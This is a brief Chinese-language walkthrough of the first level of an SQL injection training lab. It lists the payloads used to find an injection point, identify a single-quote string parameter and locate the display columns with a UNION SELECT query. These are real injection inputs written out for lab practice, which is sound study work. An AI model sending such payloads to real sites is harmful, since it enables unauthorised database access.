LESS—1
第一步：判断是否存在注入点
输入
/?id=1/?id=2
有数据返回且不同，存在注入
第二步：判断语句是否拼接，且是字符型还是数字型
输入
/id=1 and 1=2/?id=1'
出现报错，判断是字符型，说明是单引号，闭合则可以用 --+ 来注释掉后面的 ’
输入
/?id=1' and '1'='1/?id=1' and '1'='2
出现回显正常和无回显
输入
/?id=-1' union select 1,2,3 --+
使id报错，执行后面的语句，爆出显示位，用--+屏蔽后面的 ' 和部分语句
至此，开始捣乱！！！！！！